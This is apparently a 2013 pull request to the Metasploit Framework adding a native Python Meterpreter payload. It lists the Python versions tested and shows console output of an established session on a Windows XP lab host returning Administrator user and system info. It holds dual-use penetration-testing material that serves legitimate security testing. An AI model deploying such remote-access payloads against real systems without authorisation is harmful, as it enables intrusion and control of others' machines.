rapid7/metasploit-framework — pull request #2244 by zeroSteiner (2013-08-19 13:15:44+00:00)
Title: Python Meterpreter

This PR adds support for a native Python meterpreter.

The meterpreter has been tested on:
* Python 2.4, 2.6 & 2.7 on Linux
* Python 2.6 on OSX
* Python 2.5, 2.6 & 2.7 on Windows

The stagers are compatible with Python 3.x, however the meterpreter itself is not due to the explicit encoding not being supported by older versions of Python. Almost all of the code was written using the PHP meterpreter as a guide.

```
msf3-git (S:1 J:0) exploit(handler) > sessions

Active sessions
===============

Id Type Information Connection
-- ---- ----------- ----------
1 meterpreter python/python Administrator @ Exploit 192.168.90.1:4444 -> 192.168.90.133:1030 (192.168.90.133)

msf3-git (S:1 J:0) exploit(handler) > sessions -i 1
[*] Starting interaction with 1...

meterpreter > getuid
Server username: Administrator
meterpreter > sysinfo
Computer : Exploit
OS : Windows XP 5.1.2600
Architecture : x86
Meterpreter : python/python
meterpreter >
```